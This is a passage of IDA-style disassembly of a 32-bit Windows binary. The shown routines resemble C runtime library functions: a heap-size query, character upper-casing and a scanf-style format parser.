sub_418BBA endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BE0 proc near ; CODE XREF: sub_4141E1+40p
; sub_41872A+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_4144CD
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_418C1F
mov ecx, 2
loc_418C1F: ; CODE XREF: sub_418BE0+38j
push ecx
call sub_4144CD
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_418BE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C2C proc near ; CODE XREF: sub_41847E:loc_418620j
; sub_4187C8:loc_4187D9j ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0041C046 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41F838
push offset sub_41AE98
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, ds:dword_45E888
test eax, eax
jz short loc_418C74
mov [ebp+var_4], 1
call eax ; dword_45E888
jmp short loc_418C70
; ---------------------------------------------------------------------------
loc_418C69: ; DATA XREF: seg001:0041F848o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_418C6D: ; DATA XREF: seg001:0041F84Co
mov esp, [ebp+var_18]
loc_418C70: ; CODE XREF: sub_418C2C+3Bj
and [ebp+var_4], 0
loc_418C74: ; CODE XREF: sub_418C2C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_418C7D: ; DATA XREF: seg001:0041F840o
jmp loc_41C046
sub_418C2C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C82 proc near ; CODE XREF: sub_414383+23p
; sub_414383:loc_4143EEp ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41F850
push offset sub_41AE98
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, ds:off_42D454
test eax, eax
jz short loc_418CCA
mov [ebp+var_4], 1
call eax ; sub_418C2C
jmp short loc_418CC6
; ---------------------------------------------------------------------------
loc_418CBF: ; DATA XREF: seg001:0041F860o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
loc_418CC6: ; CODE XREF: sub_418C82+3Bj
and [ebp+var_4], 0
loc_418CCA: ; CODE XREF: sub_418C82+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_418CD3: ; DATA XREF: seg001:0041F858o
jmp sub_418C2C
sub_418C82 endp
; =============== S U B R O U T I N E =======================================
sub_418CD8 proc near ; CODE XREF: sub_414863+7p
; sub_414863+26p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_416B8D
test eax, eax
pop ecx
jz short loc_418CF0
mov eax, [esi-4]
pop esi
sub eax, 9
retn
; ---------------------------------------------------------------------------
loc_418CF0: ; CODE XREF: sub_418CD8+Ej
push esi
push 0
push ds:dword_45FE60
call ds:dword_41F17C ; RtlSizeHeap
pop esi
retn
sub_418CD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418D01 proc near ; CODE XREF: sub_414911+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_45E898, 0
push ebx
jnz short loc_418D2C
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_418DCA
cmp eax, 7Ah
jg loc_418DCA
sub eax, 20h
jmp loc_418DCA
; ---------------------------------------------------------------------------
loc_418D2C: ; CODE XREF: sub_418D01+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_418D5F
cmp ds:dword_42D2FC, 1
jle short loc_418D4C
push 2
push ebx
call sub_4165E6
pop ecx
pop ecx
jmp short loc_418D57
; ---------------------------------------------------------------------------
loc_418D4C: ; CODE XREF: sub_418D01+3Dj
mov eax, ds:off_42D0F0
mov al, [eax+ebx*2]
and eax, 2
loc_418D57: ; CODE XREF: sub_418D01+49j
test eax, eax
jnz short loc_418D5F
loc_418D5B: ; CODE XREF: sub_418D01+AFj
mov eax, ebx
jmp short loc_418DCA
; ---------------------------------------------------------------------------
loc_418D5F: ; CODE XREF: sub_418D01+34j
; sub_418D01+58j
mov edx, ds:off_42D0F0
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_418D82
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_418D8B
; ---------------------------------------------------------------------------
loc_418D82: ; CODE XREF: sub_418D01+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_418D8B: ; CODE XREF: sub_418D01+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push ds:dword_45E898
call loc_419E01
add esp, 20h
test eax, eax
jz short loc_418D5B
cmp eax, 1
jnz short loc_418DBD
movzx eax, [ebp+var_4]
jmp short loc_418DCA
; ---------------------------------------------------------------------------
loc_418DBD: ; CODE XREF: sub_418D01+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_418DCA: ; CODE XREF: sub_418D01+14j
; sub_418D01+1Dj ...
pop ebx
leave
retn
sub_418D01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418DCD proc near ; CODE XREF: sub_414B30+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_4197D3
mov edi, [ebp+arg_0]
jmp short loc_418DFC
; ---------------------------------------------------------------------------
loc_418DF7: ; CODE XREF: sub_418DCD+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_418DFC: ; CODE XREF: sub_418DCD+28j
cmp ds:dword_42D2FC, 1
jle short loc_418E14
movzx eax, al
push 8
push eax
call sub_4165E6
pop ecx
pop ecx
jmp short loc_418E23
; ---------------------------------------------------------------------------
loc_418E14: ; CODE XREF: sub_418DCD+36j
mov ecx, ds:off_42D0F0
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_418E23: ; CODE XREF: sub_418DCD+45j
cmp eax, ebx
jz short loc_418E5D
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_41985A
pop ecx
pop ecx
push eax
call sub_419843
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41C125
add esp, 0Ch
loc_418E4B: ; CODE XREF: sub_418DCD+8Ej
test eax, eax
jz short loc_418E5D
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41C125
pop ecx
jmp short loc_418E4B
; ---------------------------------------------------------------------------
loc_418E5D: ; CODE XREF: sub_418DCD+58j
; sub_418DCD+80j
cmp byte ptr [esi], 25h
jnz loc_41973F
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_418E94: ; CODE XREF: sub_418DCD+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp ds:dword_42D2FC, 1
jle short loc_418EB1
movzx eax, bl
push 4
push eax
call sub_4165E6
pop ecx
pop ecx
jmp short loc_418EC0
; ---------------------------------------------------------------------------
loc_418EB1: ; CODE XREF: sub_418DCD+D3j
mov ecx, ds:off_42D0F0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_418EC0: ; CODE XREF: sub_418DCD+E2j
test eax, eax
jz short loc_418ED6
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_418F3B
; ---------------------------------------------------------------------------
loc_418ED6: ; CODE XREF: sub_418DCD+F5j
cmp ebx, 4Eh
jg short loc_418F19
jz short loc_418F3B
cmp ebx, 2Ah
jz short loc_418F14
cmp ebx, 46h
jz short loc_418F3B
cmp ebx, 49h
jz short loc_418EF6
cmp ebx, 4Ch
jnz short loc_418F28
inc [ebp+var_D]
jmp short loc_418F3B
; ---------------------------------------------------------------------------
loc_418EF6: ; CODE XREF: sub_418DCD+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_418F28
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_418F28
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_418F3B
; ---------------------------------------------------------------------------
loc_418F14: ; CODE XREF: sub_418DCD+113j
inc [ebp+var_E]
jmp short loc_418F3B
; ---------------------------------------------------------------------------
loc_418F19: ; CODE XREF: sub_418DCD+10Cj
cmp ebx, 68h
jz short loc_418F35
cmp ebx, 6Ch
jz short loc_418F2D
cmp ebx, 77h
jz short loc_418F30
loc_418F28: ; CODE XREF: sub_418DCD+122j
; sub_418DCD+12Dj ...
inc [ebp+var_F]
jmp short loc_418F3B
; ---------------------------------------------------------------------------
loc_418F2D: ; CODE XREF: sub_418DCD+154j
inc [ebp+var_D]
loc_418F30: ; CODE XREF: sub_418DCD+159j
inc [ebp+var_5]
jmp short loc_418F3B
; ---------------------------------------------------------------------------
loc_418F35: ; CODE XREF: sub_418DCD+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_418F3B: ; CODE XREF: sub_418DCD+107j
; sub_418DCD+10Ej ...
cmp [ebp+var_F], 0
jz loc_418E94
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_418F60
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_418F60: ; CODE XREF: sub_418DCD+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_418F7E
mov al, [esi]
cmp al, 53h
jz short loc_418F7A
cmp al, 43h
jz short loc_418F7A
or [ebp+var_5], 0FFh
jmp short loc_418F7E
; ---------------------------------------------------------------------------
loc_418F7A: ; CODE XREF: sub_418DCD+1A1j
; sub_418DCD+1A5j
mov [ebp+var_5], 1
loc_418F7E: ; CODE XREF: sub_418DCD+19Bj
; sub_418DCD+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_418FB7
cmp esi, 63h
jz short loc_418FA8
cmp esi, 7Bh
jz short loc_418FA8
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_41985A
pop ecx
jmp short loc_418FB3
; ---------------------------------------------------------------------------
loc_418FA8: ; CODE XREF: sub_418DCD+1C5j
; sub_418DCD+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_419829
loc_418FB3: ; CODE XREF: sub_418DCD+1D9j
pop ecx
mov [ebp+var_14], eax
loc_418FB7: ; CODE XREF: sub_418DCD+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_418FC7
cmp [ebp+var_C], eax
jz loc_4197A3
loc_418FC7: ; CODE XREF: sub_418DCD+1EFj
cmp esi, 6Fh
jg loc_41922E
jz loc_4194E0
cmp esi, 63h
jz loc_41920B
cmp esi, 64h
jz loc_4194E0
jle loc_419258
cmp esi, 67h
jle short loc_41902B
cmp esi, 69h
jz short loc_419013
cmp esi, 6Eh
jnz loc_419258
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_41970E
jmp loc_419734
; ---------------------------------------------------------------------------
loc_419013: ; CODE XREF: sub_418DCD+229j
push 64h
pop esi
loc_419016: ; CODE XREF: sub_418DCD+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_4192A0
mov [ebp+var_17], 1
jmp loc_4192A5
; ---------------------------------------------------------------------------
loc_41902B: ; CODE XREF: sub_418DCD+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_419047
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_41904C
; ---------------------------------------------------------------------------
loc_419047: ; CODE XREF: sub_418DCD+26Aj
cmp ebx, 2Bh
jnz short loc_419063
loc_41904C: ; CODE XREF: sub_418DCD+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_419829
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_419066
; ---------------------------------------------------------------------------
loc_419063: ; CODE XREF: sub_418DCD+27Dj
mov edi, [ebp+arg_0]
loc_419066: ; CODE XREF: sub_418DCD+294j
cmp [ebp+var_20], 0
jz short loc_419075
cmp [ebp+var_C], 15Dh
jle short loc_41907C
loc_419075: ; CODE XREF: sub_418DCD+29Dj
mov [ebp+var_C], 15Dh
loc_41907C: ; CODE XREF: sub_418DCD+2A6j
; sub_418DCD+2F2j
cmp ds:dword_42D2FC, 1
jle short loc_419091
push 4
push ebx
call sub_4165E6
pop ecx
pop ecx
jmp short loc_41909C
; ---------------------------------------------------------------------------
loc_419091: ; CODE XREF: sub_418DCD+2B6j
mov eax, ds:off_42D0F0
mov al, [eax+ebx*2]
and eax, 4
loc_41909C: ; CODE XREF: sub_418DCD+2C2j
test eax, eax
jz short loc_4190C1
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4190C1
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_419829
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41907C
; ---------------------------------------------------------------------------
loc_4190C1: ; CODE XREF: sub_418DCD+2D1j
; sub_418DCD+2DBj
cmp ds:byte_42D300, bl
jnz short loc_41912F
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41912F
inc [ebp+var_4]
push edi
call sub_419829
mov ebx, eax
mov al, ds:byte_42D300
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_4190EA: ; CODE XREF: sub_418DCD+360j
cmp ds:dword_42D2FC, 1
jle short loc_4190FF
push 4
push ebx
call sub_4165E6
pop ecx
pop ecx
jmp short loc_41910A
; ---------------------------------------------------------------------------
loc_4190FF: ; CODE XREF: sub_418DCD+324j
mov eax, ds:off_42D0F0
mov al, [eax+ebx*2]
and eax, 4
loc_41910A: ; CODE XREF: sub_418DCD+330j
test eax, eax
jz short loc_41912F
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41912F
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_419829
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4190EA
; ---------------------------------------------------------------------------
loc_41912F: ; CODE XREF: sub_418DCD+2FAj
; sub_418DCD+304j ...
cmp [ebp+var_1C], 0
jz loc_4191C7
cmp ebx, 65h
jz short loc_419147
cmp ebx, 45h
jnz loc_4191C7
loc_419147: ; CODE XREF: sub_418DCD+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4191C7
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_419829
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_41916E
mov [esi], al
inc esi
jmp short loc_419173
; ---------------------------------------------------------------------------
loc_41916E: ; CODE XREF: sub_418DCD+39Aj
cmp ebx, 2Bh
jnz short loc_419191
loc_419173: ; CODE XREF: sub_418DCD+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_419182
and [ebp+var_C], eax
jmp short loc_419191
; ---------------------------------------------------------------------------
loc_419182: ; CODE XREF: sub_418DCD+3AEj
; sub_418DCD+3F8j
inc [ebp+var_4]
push edi
call sub_419829
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_419191: ; CODE XREF: sub_418DCD+3A4j
; sub_418DCD+3B3j
cmp ds:dword_42D2FC, 1
jle short loc_4191A6
push 4
push ebx
call sub_4165E6
pop ecx
pop ecx
jmp short loc_4191B1
; ---------------------------------------------------------------------------
loc_4191A6: ; CODE XREF: sub_418DCD+3CBj
mov eax, ds:off_42D0F0
mov al, [eax+ebx*2]
and eax, 4
loc_4191B1: ; CODE XREF: sub_418DCD+3D7j
test eax, eax
jz short loc_4191C7
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4191C7
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_419182
; ---------------------------------------------------------------------------
loc_4191C7: ; CODE XREF: sub_418DCD+366j
; sub_418DCD+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_419843
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_4197D3
cmp [ebp+var_E], 0
jnz loc_419734
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call ds:off_42D430
add esp, 0Ch
jmp loc_419734
; ---------------------------------------------------------------------------
loc_41920B: ; CODE XREF: sub_418DCD+20Cj
cmp [ebp+var_20], eax
jnz short loc_41921A
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_41921A: ; CODE XREF: sub_418DCD+441j
cmp [ebp+var_5], 0
jle short loc_419224
mov [ebp+var_16], 1
loc_419224: ; CODE XREF: sub_418DCD+451j
mov edi, offset dword_42D460
jmp loc_419339
; ---------------------------------------------------------------------------
loc_41922E: ; CODE XREF: sub_418DCD+1FDj
mov eax, esi
sub eax, 70h
jz loc_4194DC
sub eax, 3
jz loc_41932A
dec eax
dec eax
jz loc_4194E0
sub eax, 3
jz loc_419016
sub eax, 3
jz short loc_41927C
loc_419258: ; CODE XREF: sub_418DCD+21Bj
; sub_418DCD+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_4197A3
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_419734
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_419734
; ---------------------------------------------------------------------------
loc_41927C: ; CODE XREF: sub_418DCD+489j
cmp [ebp+var_5], 0
jle short loc_419286
mov [ebp+var_16], 1
loc_419286: ; CODE XREF: sub_418DCD+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_41933D
mov eax, edi
lea edi, [eax+1]
jmp loc_419339
; ---------------------------------------------------------------------------
loc_4192A0: ; CODE XREF: sub_418DCD+24Fj
cmp ebx, 2Bh
jnz short loc_4192C7
loc_4192A5: ; CODE XREF: sub_418DCD+259j
dec [ebp+var_C]
jnz short loc_4192B6
cmp [ebp+var_20], 0
jz short loc_4192B6
mov [ebp+var_F], 1
jmp short loc_4192C7
; ---------------------------------------------------------------------------
loc_4192B6: ; CODE XREF: sub_418DCD+4DBj
; sub_418DCD+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_419829
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4192C7: ; CODE XREF: sub_418DCD+4D6j
; sub_418DCD+4E7j
cmp ebx, 30h
jnz loc_419515
push [ebp+arg_0]
inc [ebp+var_4]
call sub_419829
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_419315
cmp bl, 58h
jz short loc_419315
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_4192FF
push 6Fh
loc_4192F9: ; CODE XREF: sub_418DCD+55Bj
pop esi
jmp loc_419515
; ---------------------------------------------------------------------------
loc_4192FF: ; CODE XREF: sub_418DCD+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_419843
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_419512
; ---------------------------------------------------------------------------
loc_419315: ; CODE XREF: sub_418DCD+517j
; sub_418DCD+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_419829
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_4192F9
; ---------------------------------------------------------------------------
loc_41932A: ; CODE XREF: sub_418DCD+46Fj
cmp [ebp+var_5], 0
jle short loc_419334
mov [ebp+var_16], 1
loc_419334: ; CODE XREF: sub_418DCD+561j
mov edi, offset dword_42D458
loc_419339: ; CODE XREF: sub_418DCD+45Cj
; sub_418DCD+4CEj
or [ebp+var_18], 0FFh
loc_41933D: ; CODE XREF: sub_418DCD+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_413630
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_419361
cmp byte ptr [edi], 5Dh
jnz short loc_419361
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_419364
; ---------------------------------------------------------------------------
loc_419361: ; CODE XREF: sub_418DCD+584j
; sub_418DCD+589j
mov dl, [ebp+var_35]
loc_419364: ; CODE XREF: sub_418DCD+592j
; sub_418DCD+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_4193C9
inc edi
cmp al, 2Dh
jnz short loc_4193B0
test dl, dl
jz short loc_4193B0
mov cl, [edi]
cmp cl, 5Dh
jz short loc_4193B0
inc edi
cmp dl, cl
jnb short loc_419383
mov al, cl
jmp short loc_419387
; ---------------------------------------------------------------------------
loc_419383: ; CODE XREF: sub_418DCD+5B0j
mov al, dl
mov dl, cl
loc_419387: ; CODE XREF: sub_418DCD+5B4j
cmp dl, al
ja short loc_4193AC
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_419394: ; CODE XREF: sub_418DCD+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_419394
loc_4193AC: ; CODE XREF: sub_418DCD+5BCj
xor dl, dl
jmp short loc_419364
; ---------------------------------------------------------------------------
loc_4193B0: ; CODE XREF: sub_418DCD+5A0j
; sub_418DCD+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_419364
; ---------------------------------------------------------------------------
loc_4193C9: ; CODE XREF: sub_418DCD+59Bj
cmp byte ptr [edi], 0
jz loc_4197D3
cmp [ebp+var_3C], 7Bh
jnz short loc_4193DB
mov [ebp+arg_4], edi
loc_4193DB: ; CODE XREF: sub_418DCD+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_419843
pop ecx
pop ecx
loc_4193F2: ; CODE XREF: sub_418DCD+6BCj
; sub_418DCD+6C4j
cmp [ebp+var_20], 0
jz short loc_419406
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_4194A2
loc_419406: ; CODE XREF: sub_418DCD+629j
inc [ebp+var_4]
push edi
call sub_419829
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_419496
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_419496
cmp [ebp+var_E], 0
jnz short loc_41948E
cmp [ebp+var_16], 0
jz short loc_419483
mov ecx, ds:off_42D0F0
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_419462
inc [ebp+var_4]
push edi
call sub_419829
pop ecx
mov [ebp+var_37], al
loc_419462: ; CODE XREF: sub_418DCD+686j
push ds:dword_42D2FC
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_41C05D
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_419486
; ---------------------------------------------------------------------------
loc_419483: ; CODE XREF: sub_418DCD+673j
mov [esi], al
inc esi
loc_419486: ; CODE XREF: sub_418DCD+6B4j
mov [ebp+var_2C], esi
jmp loc_4193F2
; ---------------------------------------------------------------------------
loc_41948E: ; CODE XREF: sub_418DCD+66Dj
inc [ebp+var_30]
jmp loc_4193F2
; ---------------------------------------------------------------------------
loc_419496: ; CODE XREF: sub_418DCD+649j
; sub_418DCD+667j
dec [ebp+var_4]
push edi
push eax
call sub_419843
pop ecx
pop ecx
loc_4194A2: ; CODE XREF: sub_418DCD+633j
cmp [ebp+var_30], esi
jz loc_4197D3
cmp [ebp+var_E], 0
jnz loc_419734
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_419734
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_4194D4
and word ptr [eax], 0
jmp loc_419734
; ---------------------------------------------------------------------------
loc_4194D4: ; CODE XREF: sub_418DCD+6FCj
and byte ptr [eax], 0
jmp loc_419734
; ---------------------------------------------------------------------------
loc_4194DC: ; CODE XREF: sub_418DCD+466j
mov [ebp+var_D], 1
loc_4194E0: ; CODE XREF: sub_418DCD+203j
; sub_418DCD+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_4194EE
mov [ebp+var_17], 1
jmp short loc_4194F3
; ---------------------------------------------------------------------------
loc_4194EE: ; CODE XREF: sub_418DCD+719j
cmp ebx, 2Bh
jnz short loc_419515
loc_4194F3: ; CODE XREF: sub_418DCD+71Fj
dec [ebp+var_C]
jnz short loc_419504
cmp [ebp+var_20], 0
jz short loc_419504
mov [ebp+var_F], 1
jmp short loc_419515
; ---------------------------------------------------------------------------
loc_419504: ; CODE XREF: sub_418DCD+729j
; sub_418DCD+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_419829
pop ecx
mov ebx, eax
loc_419512: ; CODE XREF: sub_418DCD+543j
mov [ebp+var_14], ebx
loc_419515: ; CODE XREF: sub_418DCD+4FDj
; sub_418DCD+52Dj ...
cmp [ebp+var_30], 0
jz loc_41962E
cmp [ebp+var_F], 0
jnz loc_41960C
loc_419529: ; CODE XREF: sub_418DCD+82Cj
cmp esi, 78h
jnz short loc_41957D
cmp ds:dword_42D2FC, 1
jle short loc_419546
push 80h
push ebx
call sub_4165E6
pop ecx
pop ecx
jmp short loc_419553
; ---------------------------------------------------------------------------
loc_419546: ; CODE XREF: sub_418DCD+768j
mov eax, ds:off_42D0F0
mov al, [eax+ebx*2]
and eax, 80h
loc_419553: ; CODE XREF: sub_418DCD+777j
test eax, eax
jz loc_4195FE
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_41C150
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_4197F2
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4195D0
; ---------------------------------------------------------------------------
loc_41957D: ; CODE XREF: sub_418DCD+75Fj
cmp ds:dword_42D2FC, 1
jle short loc_419592
push 4
push ebx
call sub_4165E6
pop ecx
pop ecx
jmp short loc_41959D
; ---------------------------------------------------------------------------
loc_419592: ; CODE XREF: sub_418DCD+7B7j
mov eax, ds:off_42D0F0
mov al, [eax+ebx*2]
and eax, 4
loc_41959D: ; CODE XREF: sub_418DCD+7C3j
test eax, eax
jz short loc_4195FE
cmp esi, 6Fh
jnz short loc_4195BB
cmp ebx, 38h
jge short loc_4195FE
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_41C150
jmp short loc_4195CA
; ---------------------------------------------------------------------------
loc_4195BB: ; CODE XREF: sub_418DCD+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_413A60
loc_4195CA: ; CODE XREF: sub_418DCD+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
